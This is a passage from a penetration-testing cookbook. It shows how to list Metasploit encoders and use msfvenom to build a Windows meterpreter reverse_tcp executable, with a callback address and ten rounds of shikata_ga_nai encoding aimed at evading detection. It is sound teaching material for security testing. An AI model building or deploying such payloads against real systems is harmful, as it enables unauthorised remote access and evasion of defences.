Metasploit Penetration Testing Cookbook - Third Edition

How to do it...

1. By using MSFconsole with the show encoders option, or by browsing to the /usr/share/metasploit-framework/modules/encoders/ folder in our Kali Linux machine, we can see all the encoders available on the Metasploit Framework:

msf > show encoders

2. To encode one of our previous payloads, we simple add the -e option, followed by the encoder we want to use, and, if we so choose, we can use the -i option, followed by the number of times to encode the payload:

msf > msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.216.5 -f exe -e x86/shikata_ga_nai -i 10 -o encoded.exe[*] exec: msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.216.5 -f exe -e x86/shikata_ga_nai ...